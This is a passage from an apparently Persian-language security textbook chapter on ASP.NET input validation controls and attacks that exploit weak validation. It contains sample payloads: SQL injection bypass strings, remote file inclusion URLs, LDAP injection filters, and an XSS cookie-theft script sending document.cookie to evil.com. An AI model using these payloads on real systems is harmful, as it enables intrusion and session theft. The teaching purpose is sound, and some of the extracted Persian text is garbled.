(Currency,Date, Double,Integer, String)  یاتعیین شده باشد. مقدار پیشفرض آن رشته ٔ  محدودهباید در 

 باشد. 30و  18بین اعداد  TextBoxوارد شده برای  که مقدار کندیدر مثال زیر اعتبارسنجی بررسی م. باشدیم

<asp:TextBox runat="server" ID="age" /> 

<asp:RangeValidator runat="server" ID="ageRange" ControlToValidate="age" 

MinimumValue="18" MaximumValue="30" 

Type="Integer" ErrorMessage="You must be between 18 and 30." Text="*" / > 

 

 ایسهاعتبارسنجی مقکنترل   3-7-1-3

CompareValidator  یا کنترل اعتبارسنجی مقایسه، مقدار یک کنترل را با مقادیر کنترلهای دیگر مقایسه

 کندیبررسی م یاو به گونه کندیمفراهم این کنترل بررسی انواع داده نسبت به یکدیگر را نیز  علاوه. به کندیم

 اند. تر مساوی و یا نامساویکوچک ،ترر مساوی، کوچکتتر، بزرگکه آیا داده ها نسبت به یکدیگر مساوی، بزرگ

 مقایسه شده است. "Yes"در برابر مقدار  Textboxدر مثال زیر محتوای وارد شده برای 

<asp:TextBox runat="server" ID="confirm" /> 

<asp:CompareValidator runat="server" ID="confirmValidator" 

ControlToValidate="confirm" ValueToCompare="yes" Type="String" 

Operator="Equal" ErrorMessage="Enter yes to continue" Text="*" /> 

 ٔ  کلمه ییرتغ برای مثال:)اگر کاربر تنها بخواهد مقادیر وارد شده برای دو کنترل را با یکدیگر مقایسه کند 

آن را با مقدار  operatorرا با مقدار مناسب تنظیم کند و خصوصیت  ControlToCompareباید خصوصیت  (عبور

Equal :مقداردهی کند. همانطور که در مثال زیر نشان داده شده است 

<asp:TextBox runat="server" ID="password" TextMode="Password" /> 

<asp:TextBox runat="server" ID="passwordConfirmation" TextMode="Password" 

/> 

<asp:CompareValidator runat="server" ID="passwordValidator" 

ControlToValidate="password" ControlToCompare="passwordConfirmation" 
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Operator="Equal" ErrorMessage="Passwords do not match" Text="*" /> 

 

خاص مطابقت  ٔ  دادهوارد شده توسط کاربر با یک نوع  ٔ  دادهی کند که دهنده بخواهد بررس اگر کاربر توسعه

 Typeمقداردهی کند و سپس خصوصیت  DataTypeCheckرابا مقدار  Operatorداشته باشد، باید خصوصیت 

در مثال زیر نشان  همانطور کهروی آن کنترل را با یکی از مقادیر ارز، تاری، عدد صحیح و یا رشته مقداردهی کند. 

 داده شده است:

<asp:TextBox runat="server" ID="anInteger" /> 

<asp:CompareValidator runat="server" ID="integerValidator" 

ControlToValidate="anInteger" Operator="DataTypeCheck" Type="Integer" 

ErrorMessage="You must enter an integer" Text=" * " / > 

 منظم عبارات رسنجیکنترل اعتبا 4-7-1-3

RegularExpressionValidator عبارت منظم، مقدار ورودی یک کنترل را با عبارت  اعتبار سنجی یا کنترل

 .دهدیشده است، تطبیق متنظیم ValidationExpressionمنظم که در خصوصیت 

وبسایت و کد  منظم که شامل آدرس ایمیل، آدرس عبارتدر حالت طراحی ویژوال استادیو لیست مشترکی از

. به خاطر داشته باشید که عبارت منظم یک تطبیق الگوی کندیپستی مختلف برای کشورهای منتخب فراهم م

ست باید اعتبارسنجی مناسب با آن را انجام دهد. کدپستی  مثال اگر کاربر منتظر دریافت یکعنوانساده است. به

 همانطور که در زیر نشان داده شده است:

<asp:TextBox runat="server" ID="zipcode" /> 

<asp:RegularExpressionValidator runat="server" ID="validateZipcode" 

ControlToValidate="zipcode" ValidationExpression="\d{5}(-\d{4})?" 

ErrorMessage="Please enter a valid zipcode" Text="*" / > 

 (سفارشی)کنترل اعتبارسنجی خاص   5-7-1-3
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CustomValidator وکار خود مناسب و منطقی  تا کنترلهای اعتبارسنجی که برای کسب دهدیبه کاربر اجازه م

 ServerValidateتواند از خاصیت است را ایجاد کند. برای اجرا کردن یک اعتبارسنجی سمت کارگزار، کاربر می

تواند یک تابع در ز طریق جاوااسکریپت میسمت کارخواه ا یهایاستفاده کرده و برای اضافه شدن به اعتبارسنج

 ند.تعریف ک ClientValidationFunctionخصوصیت 

مشخص کند که حتی در  Trueبا مقدار  ValidateEmptyTextتواند با مقداردهی به خصوصیت کاربر می

 صورت خالی بودن مقدار کنترل اعتبارسنجی انجام شود.

 SenderValidateEventArgsچیزهایی که بدان نیاز دارند را در پارامتر  ٔ  همهرویدادهای سمت کارگزار 

است که شامل مقدار کنترلی است که باعث ایجاد  Value. این پارامتر دارای خصوصیت کندیدریافت م

حاصل  ٔ  یجهنتتواند آن را بسته به است که کاربر می IsValid. همچنین دارای خصوصیت شودیاعتبارسنجی م

این است که  IsValidمقداردهی کند. بهترین حالت برای تنظیمات  Falseو یا  Trueبارسنجی خود با مقدار از اعت

 تنظیم شود. Trueتنظیم شود و بعد از اعتبارسنجی موفق به مقدار  Falseدر آغاز کد با مقدار 

 

 .دهدیی آن نشان مبه عنوان مثال کد زیر یک فیلد را به همراه اعتبارسنجیهای سفارشی نوشتهشده برا

<asp:TextBox runat="server" ID="quantity" /> 

<asp:CustomValidator runat="server" ID="validateQuanity" 

ValidateEmptyText="false" ControlToValidate= "quantity" 

OnServerValidate="OnValidateQuantity" 

ErrorMessage="Quantities must be divisable by 10" Text="*" / > 

 :باشدیکدهای سمت کارگزار برای کنترلهای سفارشی چیزی شبیه شکل زیر م

protected void OnValidateQuantity(object source, 

ServerValidateEventArgs args) 

{ 
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args.IsValid = false; 

int value; 

if (int.TryParse(args.Value, out value)) { 

if (value % 10 == 0){ 

args.IsValid = true; 

} 

} 

} 

 :دارند را مشابه استدلال همان نیز کارخواه سمت توابع

<script language="javascript"> 

function validateQuantity(source, args) { 

args.IsValid = false; 

if (args.Value % 10 == 0) { 

args.IsValid = true; 

} 

} 

</script> 

روی کنترل  ClientValidationFunctionبرای فعال کردن اعتبارسنجی سمت کارخواه کاربر باید خصوصیت 

 مانند زیر:؛ اعتبارسنجی سفارشی تنظیم کند

<asp:TextBox runat="server" ID="quantity" /> 

<asp:CustomValidator runat="server" ID="validateQuanity" 

ValidateEmptyText="false" 

OnServerValidate="OnValidateQuantity" 

ClientValidationFunction="validateQuantity" 

ControlToValidate= "quantity" 

ErrorMessage="Quantities must be divisable by 10" Text="*" / > 

 کنترل خالصه اعتبارسنجی  6-7-1-3

 یهانشان داده شود، کنترل ValidationSummaryتواند در کنترل که می ErrorMessageخصوصیت  علاوه بر

برای نمایش یک  توانیهستند. این ویژگی را م Textدارای یک خصوصیت  Asp.Netاستاندارد اعتبارسنجی 
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مثال کد زیر یک نمایش از اعتبارسنجی عنوان. بهکاربردنشده است به  دیینشانگر بصری در کنار یک فیلد فرم که تأ

 .دهدیاعتبار و کنترل اعتبارسنجی را نشان م ٔ  خلاصه است که

<form id="form1" runat="server"> 

<asp:ValidationSummary ID="validationSummary" runat="server" / > 

Name: <asp:TextBox runat="server" ID="name"></asp:TextBox > 

<asp:RequiredFieldValidator ID="nameRequired" runat="server" 

ErrorMessage="You must enter your name" ControlToValidate="name" 

Display="Dynamic" Text=" * " / ><br/> 

Email: <asp:TextBox runat="server" ID="email" / > 

<asp:RequiredFieldValidator ID="emailRequired" runat="server" 

ErrorMessage="You must enter your email" 

ControlToValidate="email" Display="Dynamic" Text=" * " / > 

<asp:RegularExpressionValidator ID="emailValidator" 

runat="server" 

ErrorMessage="Your email address does not appear to be valid" 

Text="*" 

ValidationExpression="\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([- 

.]\w+)*" 

ControlToValidate="email"> 

</asp:RegularExpressionValidator > 

<asp:Button runat="server" ID="submit" Text="Submit" 

OnClick="submit_OnClick"/ > 

</form> 

 

 یاعتبارسنج کنترل به حملات 2-3

 تزریق یپذیر آسیب 1-2-3

 غیر های داده تفسیر و اجرا اجازه که باشند می وب های برنامه در ضعفی نقاط تزریق، های پذیری آسیب

 وسیله به نفوذگران توسط ها پذیری آسیب این .دهد می جو، و پرس یا دستور یک از عنوان بخشی به را اعتمادقابل
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 عدم ها، داده دادن دست از آن نتیجه که گیرند می قرار برداری بهره مورد جوی مخرب، و پرس یا دستور یک ایجاد

 ،SQL در معمولا تزریق های پذیری آسیب .باشد می دست از این مواردی و دسترسی از محرومیت پاسخگویی،

LDAP جوهای و پرس و XPath و پذیری آسیب پویشگرهای توسط به راحتی تواند می و شود می یافت Fuzzer 

 حذف نوشتن، خواندن، دسترسی به راحتی تواند می نفوذگر امنیتی نقض این از برداری بهره با .شود شناسایی ها

 تزریق دستورات، ، تزریقSQL تزریق مانند ها پذیری آسیب این از برخی .باشد داشته را اطلاعات رسانی بروز و

 .باشند می حملات دسته این از ،LDAP در تزریق و فایل

 SQL کدهای تزریق 1-1-2-3

 یک از استفاده با SQL تزریق حمله در .باشد می ها سایت وب در پذیری آسیب ترین شایع از یکی SQL تزریق

 پذیری آسیب این از توان می نفوذگر .شود می دستکاری مستقیم طور به داده پایگاه مخرب، های و جو پرس سری

 را ارزشمندی اطلاعات مستقیم صورت به و نماید استفاده طبیعی امنیتی اقدامات دور زدن و گذاشتن کنار برای

 ها جو و پرس برنامه، داخل فیلدهای آدرس، نوار ها، فرم در اغلب تواند می SQL تزریق حمله .کند پیدا دسترسی

 :نمایید می مشاهده را پذیر آسیب کد سورس نمونه ای اززیر در .شود انجام جستجو، فیلدهای و
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 دسترسی سطوح تعیین سنجی، اعتبار کاربران، هویت تایید برای SQL دستورات از معمولا کاربردی های برنامه

 می رخ پذیری آسیب این نشوند، سنجی اعتبار برنامه های ورودی که زمانی و کنند می استفاده ذخیره اطلاعات و

 :کنید دقت زیر SQL عبارت به .دهد

select * from tablename where UserID= 2302 

 :نماید می تزریق را زیر دستور نفوذگر عبارت، این به توجه با

select * from tablename where UserID= 2302 OR 1=1 

 به داده پایگاه از را کاربر ID مقادیر تمام آن از استفاده موارد اغلب در که است صحیح مقداری OR1-1 عبارت

 داد. نشان خواهد شما

 ، کامنت کند.SQLرا نیز به منظور کنترل اجراهای بعدی درخواست  SQLدستور  ٔ  یهبقتواند مهاجم می

 

MySQL, MSSQL, Oracle, PostgreSQL, SQLite 

' OR '1'='1' -- 

' OR '1'='1' /* 

MySQL 

' OR '1'='1' # 

Access (using null characters) 

' OR '1'='1' %00 

' OR '1'='1' %16 

احراز هویت انجام  جهیو درنت گرددیبرای پردازش به برنامه بازم ، نتیجهشودیهنگامی که درخواست اجرا م

 جهی، برنامه به احتمال زیاد مهاجم را به اولین حساب کاربری موجود درنتاحراز هویت. با امکان عبور از سد شودینم

 کاربر مدیر است. معمولاا درون یک پایگاه داده حساب کاربری الین -کندیدرخواست، وارد م

 :تا دهد می اجازه نفوذگر به SQL تزریق
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 .شود وارد برنامه به مناسب اطلاعات بدون ➢

 .باشد داشته دسترسی ندارد، وجود دسترسی آن به معمول صورت به که های داده به ➢

 .ببرد بین از را داده پایگاه یا و داده تغییر را داده پایگاه محتویات ➢

 .شود متصل نیز دیگر داده های پایگاه به جاری، داده پایگاه با شده برقرار ارتباط از استفاده با ➢

استفاده کند و  SQLتنها برقراری دو شرط الزم است: یک پایگاه داده رابطهای که از  SQLبرای وقوع تزریق 

مورد استفاده قرار گرفته باشد. وارد نمودن ورودی  SQLورودی کاربرقابل کنترل که مستقیماا در یک درخواست 

انتظار یک عدد  SQLوارد کردن یک رشته هنگامی که درخواست  مثالا ،SQLستور یک دنامناسب مربوط به 

 تا کارگزار پایگاه داده اعلام خطا کند. شودیعمدی یک اشتباه دستوری، موجب موارد کردن  صحیح را دارد و یا

باشند ولی هنگامی که در یک سایت پویا سودمند می بسیار گسترش و بهبود برنامه های خطاها اگر چه حین

به قدری  SQL. خطاهای دهندیمورد استفاده قرار بگیرند، اطلاعات بسیار زیادی را در اختیار مهاجمین قرار م

نیز اطلاعاتی به دست آورند. تا در مورد ساختار پایگاه داده  سازندیی و توصیفی هستند که مهاجمین را قادر میجز

توان تک به تک اطلاعات ، میدیآیز پیامهای خطا به دست مکه ا حتی در برخی موارد تنها با استفاده از اطلاعاتی

بنابراین در این گونه ؛ شودیمبتنی بر خطا، شناخته م SQLیک پایگاه را جداسازی کرد. این روش به نام تزریق 

غیرفعال شده یا حداقل درون یک فایل با دسترسی محدود پایگاه داده  ای مربوط بهسایتها ضروری است تا خطاه

 قرار گیرند.

است که  UNION، نفوذ به عملگر ردیگیروش تابع اول دیگری که برای استخراج داده مورد استفاده قرار م

شود میین عمل موجب ارا در یک نتیجه ترکیب کند.  SELECTمهاجم نتایج دو و یا چند دستور  شودیباعث م

 نام دارد. UNIONمبتنی بر  SQLشود. این روش تزریق  HTTPتا برنامه مجبور به برگشت داده در قالب پاسخ 
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 دستور تزریق 2-1-2-3

 طریق از مختلف های سیستم به را خود مخرب کدهای تا دهد می اجازه نفوذگر به دستور، تزریق پذیری آسیب

 های برنامه از استفاده عامل، سیستم توابع و دستورات فراخوانی شامل حملات این .دهد عبور تحت وب های برنامه

 کاربردی های برنامه توابع، از برخی اجرای برای .باشد می داده پایگاه فراخوانی و دستورات پوسته روی بر خارجی

 از بخشی که هنگامی منظور، بدین .نمایند استفاده خارجی های و برنامه عامل سیستم های ویژگی از باید وب

 کد حامل که شوند سازی پاک دقت به باید شوند، می عبور داده HTTP خارجی های درخواست طریق از اطلاعات

 .است یافته و تغییر شده ارسال مهاجم یک توسط که نباشند مخرب دستورات و ها

 :باشد می زیر قسمت سه شامل حمله نوع این

➢ Shell injection :پوسته سطح دسترسی برای را رشته یک تا کند می سعی نفوذگر روش این در 

(shell) شامل حمله این توابع .وارد کند سرور وب به system()، StartProcess، 

java.lang.Runtime.exec()، System.Diagnostics.Process.Start() و API می مشابه های 

 .باشند

➢ HTML Embeddingقرار استفاده مورد سایت وب طبیعی وضعیت تغییر برای حمله نوع : این 

 برنامه به HTML مبنای بر را محتوایی نفوذگر یک حمله این از استفاده با (.deface) یردگ می

 داده قرار HTML خروجی وب داخل اسکریپت یک با کاربر، ورودی حمله، این در .کند می اضافه

 .باشند شده چک ها اسکریپت یا HTML کد اینکه بدون شده،

➢ File Injection: فایل درون را خود مخرب های کد پذیری، آسیب این از برداری بهره با نفوذگر 

 .نماید می تزریق سیستم های

http://www.iuggvbov.com/vulnerable.php?COLOR=http://evil/exploit 
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 فایل تزریق حمله 3-1-2-3

 است زیر پذیر آسیب کد حاوی رابطه این در نظر مورد سایت

 

 به .باشد می دهی مقدار قابل URL همان یا GET طریق از Drink نمایید، می مشاهده کد در که همانطور

 اکسپلویت یک حاوی که WWW.jasoneval.com سایت در را دور راه از میزبان فایل یک منظور نفوذگر همین

 .دهد می را مذکور سایت در شده تزریق فایل آدرس URL انتهای در Drink از بعد سپس .کند می تزریق است،

http://www.juggyboy.com/order.php?Drink=http://www.jasoneval.com/exploit? 

 استفاده دور راه از فایلی بوسیله سرور روی پذیر آسیب اسکریپت از تا سازد می قادر را نفوذگر فایل تزریق حمله

 .نماید

 LDAP تزریق 4-1-2-3

 .باشد می SQL تزریق مانند LDAP(Lightweight Directory Access Protocol) تزریق عملکرد طریقه

 اجازه LDAP در ها پذیری آسیب صورت این غیر در باشند، شده فیلتر بایست می LDAP در ها تمامی ورودی

 آن های ویژگی اساس بر را اطلاعات سرویس این .داد خواهند را محتوا تغییر یا و غیرمجاز جو های و پرس اجرای

 های مدل اساس که شوند می سازماندهی مراتبی سلسله صورت به ساختار در این اطلاعات .کند می ذخیره ها

 مختلف های فیلتر از استفاده با را ها دایرکتوری و مطالب توانند ها می کلاینت و است صورت بدین سروری کلاینت

 .نمایند جستجو
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 نامعتبر های ورودی گرفتن مورد در وب تحت های برنامه پذیری آسیب از که است تکنیکی LDAP تزریق یک

 بزند دور را LDAP های تا محدودیت برد می سود

 کند؟ می کار چگونه LDAP تزریق حمله

 برنامه یک اگر تست برای .گیرند می قرار استفاده مورد وب تحت های برنامه روی معمولا LDAP تزریق حملات

 معتبر نام ورودی یک که شود می ارسال سرور به جو و پرس یک باشد، پذیر آسیب LDAP تزریق کدهای به نسبت

 .نمود برداری بهره آن از کد تزریق تکنیک با توان می داد خطا LDAPسرور  اگر .کند ایجاد

 شکل مطابق را ((&)(juggyboy مقدار و بگیرد نظر در را معتبر کاربر یک نفوذگر اگر .کنید توجه زیر شکل به

 ایجاد URL String سپس دهد، قرار خواهد، می که مقداری هر را و پسورد نموده وارد کاربری نام قسمت در زیر

 اول قسمت تنها صورت این در .گردد می تنظیم ((&)(USER=juggyboy)&) ((PASS=blah) صورت به شده

 نفوذگر و است صحیح کاربری نام زیرا است درست همیشه درخواست که این شود می پردازش LDAP سرور توسط

 .شد خواهد وارد معتبر پسورد یک بدون
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2-2-3 Cross Site Scripting (XSS) 

XSS مخفف به Cross site Scripting  با اینکه برای ولی باشد می سایتی نویسی بین تاسکریپو به معنی 

CSS نشود، شود اشتباه می استفاده وب صفحات قالب طراحی در که C به آن اول در X این .است شده تبدیل 

 کدهای ایجاد به واقدام نموده استفاده آسیب پذیر وب تحت برنامه از نفوذگر که دهد می رخ زمانی پذیری آسیب

 عدم حاصل XSS آسیب پذیری واقع در .کند می ارسال انتهایی کاربران به را آن و نموده اسکریپت جاوا مخرب

 با سایت از یک استفاده قصد خود مرورگر طریق از که است هنگامی کاربران، های ورودی سنجی اعتبار و کنترل

حمله  تواند می نفوذگر نماید، می استفاده کاربر های ورودی از وب تحت برنامه یک که زمانی .دارند را پویا محتوای

 بی وی اسکریپت، جاوا مخرب کدهای نفوذگر .نماید استفاده سوء کاربر از و کند آغاز ها ورودی از استفاده با را ای

 سیستم روی بر اجرا برای و نموده مخفی قانونی درخواست یک قالب در را فلش یا ActiveX، HTMLاسکریپت، 

 ارسال نهایی کاربر سمت به نفوذگر سمت از که مقادیری چون حالت این در .کند می وی ارسال سمت به قربانی،

 نفوذگر برای فرصت بهترین این که نماید می اطمینان آن به نیز کاربر باشد، وب می تحت برنامه قالب در شود می

 اینکه برای نفوذگر .دهد صورت قسمت این در ندارد، را آن به اجازه دسترسی عادی حالت در که را کارهایی تا است

 می کدگذاری مختلف های قالب وسیله به را نظر درخواست مورد نشود، وی مخرب کدهای تزریق متوجه کاربر

 (.Unicode)کند

تواند اسکریپتهای که در آن مهاجم می شودیق ملااطنیز تزریق کد از سمت کاربر  ٔ  حملهبه این نوع حمله، 

وب، به اجرا  تحت ٔ  برنامهدرون یک وبسایت و یا یک  (شودیکه معمولاا به آنها بار مخرب هم گفته م)مخرب را 
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 ونددیپیآمده و هنگامی به وقوع م وب به شمار های برنامه های تحت پذیری یکی از شایعترین آسیب XSSدرآورد. 

 .دینمایکه برنامه از ورودی غیرمعتبر یا کدگذاری نشده کاربر در خروجی تولید شده، استفاده م

پذیر در یک وبسایت و  بلکه از نقاط آسیب دهدیمستقیماا قربانی را مورد هدف قرار نم مهاجم ،XSSدر نفوذ 

. در این نوع حمله، ووبسایت کندی، استفاده مردیگیط قربانی مورد بازدید قرار مکه توس تحت وب ٔ  برنامهیا یک 

 انتقال برای رساندن اسکریپت مخرب به مرورگر قربانی است. ٔ  یلهوسآسیب پذیر، 

را  (دیآی)با اینکه امروزه قدیمی و یا حتی منسوخ به حساب م Flashو  VBScript ،ActiveX توانمی XSSبا 

است چراکه جاوا  داد، اما بدون تردید جاوا اسکریپ بیشترین و مهمترین هدف این حملات قرار تهاجممورد 

 بیشتر مرورگرها است. ٔ  یهپااسکریپت 

راهی بیابد تا بار را در صفحهای از وب  ستیبایمخرب در مرورگر، مهاجم م جاوا اسکریپتبه منظور اجرای کد 

 ٔ  صفحهنماید. البته مهاجمین برای متقاعد کردن یک کاربر برای بازدید از  وارد کندیکه قربانی از آن بازدید م

 .کنندیآسیب پذیری که بار جاوا اسکریپت در آن قرار داده شده است، از روشهای مهندسی افکار عمومی استفاده م

فحات ، مستقیماا شامل ورودی کاربر، در صستیبای، وبسایت آسیب پذیر مXSSبرای اجرا شدن یک حمله 

وب مورد استفاده قرار گرفته و در  ٔ  صفحهتواند رشتهای را وارد کند که در خود باشد. به این ترتیب مهاجم می

 عنوان یک کد در نظر گرفته شود.مرورگر قربانی به

وب مورد  ٔ  صفحهدر یک  کامنت ها ، برای نمایش آخرینشودیکد سمت کارگزار که در زیر مشاهده م شبه

 :ردیگیماستفاده قرار 

print "<html>" 

print "<h1>Most recent comment</h1>" 

print database.latestComment 

print "</html>" 
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 ٔ  صفحهیک  ها، نمایش داده و محتوای داده کامنت تواند آخرین کامنت را از پایگاهفقط می اسکریپت بالا

HTML کند.ها فقط حاوی متن هستند، چاپ  را با این فرض که کامنت 

مانند  تواند یک کامنت حاوی بار مخربآسیب پذیر است زیرا مهاجم می XSS ٔ  حملهبالانسبت به  ٔ  صفحه

<script>doSomethingEvil();</script> .را ارسال کند 

 :گرددیوب، تحمیل م ٔ  صفحهزیر به کاربران بازدیدکننده از این  HTML ٔ  صفحه

<html> 

<h1>Most recent comment</h1> 

<script>doSomethingEvil();</script> 

</html> 

و در اکثر موارد  گرددیدر هنگام بارگذاری این صفحه در مرورگر قربانی، اسکریپت مخرب فرد مهاجم اجرا م

 .دهدیرا بگیرد رخ م یاکاربر یا بدون اینکه او بتواند جلوی چنین حمله این اتفاق بدون اطلاع

 که نهایتاا اسکریپت مخربی که توسط مهاجم تزریق شودیصورتی واقع متنها در  XSS آسیبمهم:  ٔ  نکته

 تجزیه گردد. (HTMLصورت ، در مرورگر قربانی )در این مورد بهشودیم

 جاوا اسکریپت چیست؟ ٔ  حمله بدترین 1-2-2-3

وب، توسط مهاجمین ممکن است خیلی سریع  ٔ  صفحهاجرای جاوا اسکریپت در یک  از توانایی عواقب ناشی

شده اجرا نموده و جاوا اسکریپت  مرورگرها جاوا اسکریپت را در محیطی کاملاکنترل دلیل اینکه به ،نگرددآشکار 

 دسترسی محدودی به سیستمعامل و فایلهای کاربر دارد.

اما با توجه به این نکته که جاوا اسکریپت به موارد زیر دسترسی دارد، درک اینکه مهاجمین خالق چگونه به 

 بود: خواهد ترآسان ،رسندیآن به اهداف خود م ٔ  یلهوس

پذیر است، از جمله صفحات وب نیز دسترسی دارند امکان بقیهدسترسی جاوا اسکریپت، به هر آن چه  ➢

، بنابراین اگر مهاجم شودیها استفاده مدسترسی به کوکیها. از کوکیها برای ذخیرهی توکن نشست
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 یجاتواند از هویت او استفاده نموده و خود را بهمیآورد.  بتواند کوکی نشست یک کاربر را به دست

 کاربر موردنظر قرار دهد.

داخل  در)در آن ایجاد کند دلخواهی مرورگر را خوانده و تغییرات  DOMتواند جاوا اسکریپت می ➢

 .(شودیصفحهای که جاوا اسکریپت در آن اجرا م

با محتوای دلخواه  HTTP یهادرخواست XMLHttpRequestتواند با استفاده از جاوا اسکریپت می ➢

 و به مقصد دلخواه ارسال کند.

امکان  مانند نفوذ داشته باشد HTML5های APIتواند به جاوا اسکریپت در مرورگرهای امروزی می ➢

 سیستم فایلجغرافیایی کاربر، دوربین، میکروفون و حتی فایلهای خاصی از  ٔ  منطقهدسترسی به 

و توجه به چندین  XSSها نیاز به انتخاب کاربر دارند، به وسیلهی APIیشتر این کاربر. در حالی که ب

 تر خواهد شد.نکته از مهندسی افکار عمومی، کار برای مهاجمین بسیار آسان

 اسکریپت نویسی بین سایتی ٔ  حملهساختمان یک   2-2-2-3

 بهره و XSS کارکردی چگونگ درک برای. سه بخش اصلی دارد: وبسایت، قربانی و مهاجم XSS ٔ  حملهیک 

 .کنید دقت زیر تصویر به آن، از برداری
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 صفحه مشاهده قصد وی که شود می ارسال سایت به کاربر توسط معمولی درخواستی اول مرحله در

jason_file.html دارد را. 

 Not 6969 پیغام سرور سمت از دوم مرحله در باشد، نمی موجود دلیلی هر به نظر مورد صفحه اینکه دلیل به

found در کاربر که عبارتی همان که برد خواهیم پی نکته این به دقت کمی به .شود می داده کاربر نمایش به 

 یک دهنده نشان تواند می این که نماید می مشاهده صفحه در عینا نموده، سایت وارد مشاهده برای سایت انتهای

 .باشد XSS نوع از پذیری آسیب

 XSS پذیری آسیب از تا نماید می سرور سمت به درخواست ارسال به اقدام نفوذگر مذکور موارد به توجه با

 ارسال سرور سمت به اسکریپت کد یک با همراه را خود درخواست اول، مرحله در نفوذگر .حاصل نماید اطمینان

 :زیر است صورت به کد که نماید می

<script> alert(“Warning: The Application has encountered an error”);</script> 

 

 دهنده نشان که شود می داده نمایش نفوذگر به "" داخل متن با صفحه در هشدار یک فوق درخواست اجرای با

 برای مخرب درخواست ایجاد جهت خود اقدامات نفوذگر موارد این به توجه با .است XSS آسیب پذیری وجود

 .کرد خواهد آغاز سایت را نهایی کاربران به ارسال

 ایمیل طریق از XSS حمله سناریوی

 باشد می مخرب کد همراه به سایت لینک شامل که ایمیل یک ابتدا نفوذگر ایمیل، وسیله به XSS حمله در

 .باشد زیر شکل به تواند می مخرب اسکریپت کد .نماید می ارسال به قربانی و نموده ایجاد
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 می ارسال مخرب کد همراه به legitimateSite.com سایت به URL کند، می کلیک آن روی کاربر که هنگامی

 روی بر نیر مخرب کد و نموده ارسال وی به باشد می کاربر پروفایل مقدار شامل که را ای صفحه سپس سرور .شود

 .دهد می نشان را حمله این مراحل زیر تصویر .می شود اجرا کلاینت سیستم

 

 کاربر کوکی سرقت طریق از XSS حمله سناریوی

 به اقدام سپس و نموده پیدا را XSS پذیری آسیب ابتدا نفوذگر ،XSS طریق از کاربر های کوکی سرقت برای

 به کوکی سرقت طریق از XSS حمله انجام مراحل .نماید می (Cookie Logger) کوکی ثبت کننده یک نصب

 :است زیر شرح

 روی بر مخرب صفحه همچنین و نظر مورد های فایل دادن قرار برای را سرور یک باید ابتدا نفوذگر ➢

 .نماید تهیه آن

 .کند می بازدید را نفوذگر توسط شده ایجاد صفحه کاربر ➢

 عنوان به است مخرب کد شامل که HTML صفحه یک قالب در را پاسخ نفوذگر به متعلق سرور ➢

 .کند می ارسال کاربر به پاسخ

 .نماید می اجرا را است مخرب کد شامل که HTML صفحه کاربر مرورگر ➢

 .نماید می آوری جمع را کاربر های کوکی به مربوط اطلاعات دارد، قرار کد در که کوکی کننده ثبت ➢

 .نماید می هدایت نفوذگر سرور به را کاربر مخرب کد ➢
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 .کند می ارسال کاربر های کوکی همراه به را درخواست کاربر مرورگر ➢

 

 مجاز غیر درخواست ارسال طریق از XSS حمله سناریوی

 دهنده نشان زیر تصویر .نماید ارسال نیز را مجازی غیر درخواست تواند می نفوذگر ،XSS حمله از استفاده با

 .باشد می حمله این

 

 Blog Posting طریق از XSS حمله سناریوی

 می قرار است اطلاعات ویرایش و ذخیره امکان که هایی سایت در پست یک ایجاد به اقدام نفوذگر حمله این در

 کاربر که زمانی .گردد می ذخیره سرور در مخرب کد همراه به پست این .باشد می مخرب حاوی اسکریپت که دهد
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 به .شود می هدایت مخرب سایت سمت به کند، می کلیک پست روی و کند می را مشاهده نظر مورد سایت وب

 .نمایید توجه زیر تصویر

 
 Comment یها لدیف قیطر از XSS حمله یویسنار

 مختلف منابع از پویا صورت به را داده که کنند می استفاده HTML صفحات از وب های برنامه از بسیاری

 های تگ از استفاده با نفوذگر .نماید تغییر درخواست به توجه با تواند می پویا HTML در صفحات داده .بپذیرند

 کد یک با Comment های ویژگی تغییر توسط را حمله یک و نموده را دستگاری ها داده ،HTML صفحات

 کرد، فعال را آن و نموده مشاهده را Comment نظر مورد هدف هنگامی که .نماید می اندازی راه مخرب، اسکریپت

 __.کند می خود مخرب عملیات شروع به و شده اجرا هدف مرورگر روی بر مخرب کد سپس
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 XSSانواع   3-2-2-3

ی هادر تمامی موارد، اجرای جاوا اسکریپت مخرب در مرورگر قربانی است، اما روش XSS ٔ  حملهبا اینکه هدف 

 :شوندیعموماا به سه دسته تقسیم مXSSحملات برای دستیابی یه این هدف وجود دارد.  مختلفی

➢ XSS :ردیگیمخرب از پایگاه داده وبسایت سرچشمه م ٔ  رشتهکه در این نوع حمله  ذخیره شده. 

➢ XSS  این نوعبازتابی: در XSS مخرب ریشه در درخواست شخص قربانی دارد. ٔ  رشته 

➢ XSS مبتنی بر:DOM آسیب پذیری در کد سمت کاربر وجود دارد نه در کد سمت حملاتاین  در 

 کارگزار.

XSS ذخیره شده 

که هدف مهاجم استفاده از هویت کاربر با دزدیدن کوکیهای اوست. ارسال کوکی  شودیدر مثال زیر فرض م

پذیر است. یکی از این روشها اجرای به کارگزاری که تحت کنترل مهاجم قرار داشته باشد، از چندین روش امکان

 شودیم توسط مهاجم در مرورگر قربانی اجرا XSSکد جاوا اسکریپت زیر است که از طریق آسیب پذیری به 

<script> 

window.location=“http://evil.com/?cookie=” + document.cookie 
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</script> 

 :دهدیساده را نشان م XSS ٔ  حملهیک  ٔ  مرحلهبه  زیر مرحلهشکل 

 

 XSS ٔ  ساده ٔ  حمله: مراحل یک 2-4-شکل 

داده  وارد پایگاه را payload یک مهاجم با ارسال فرمی که با چند جاوا اسکریپت مخرب همراه است،  -1

 .دینمایوبسایت م

 .کندیوب را به وبسایت ارسال م ٔ  صفحهقربانی درخواست ورود به   -2

 قربانی، به مرورگرHTMLعنوان بخشی از بدنه مهاجم به payloadوبسایت، صفحه را به همراه   -3

 .دینمایتحمیل م

 .کندیرا اجرا م HTMLمرورگر قربانی، اسکریپت مخرب درون بدنه   -4

. سپس هنگامی که گرددیدر این مورد، با اجرای اسکریپت مخرب، کوکی قربانی به کارگزار مهاجم ارسال م

، مهاجم به سادگی کوکی قربانی را جداسازی کرده و از آن برای اقدام به رسدیکارگزار م به HTTPدرخواست 

 .دینمایم جعل هویت استفاده
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 .میدهیرا شرح م دو نوع دیگر از این حملات بود. حالده ذخیره ش XSSمثالی از یک حمله  این مثال،

XSS بازتابی 

درخواست قربانی از وبسایت است، وبسایت هم  از مخرب در واقع بخشی ٔ  رشتهبازتابی،  XSS ٔ  حملهدر یک 

 این روند است: ٔ  دهنده نمودار زیر نشان .کندیم عنوان پاسخ به کاربر ارسالمخرب را به ٔ  رشتهاین 

 

 بازتابی XSSحمله 

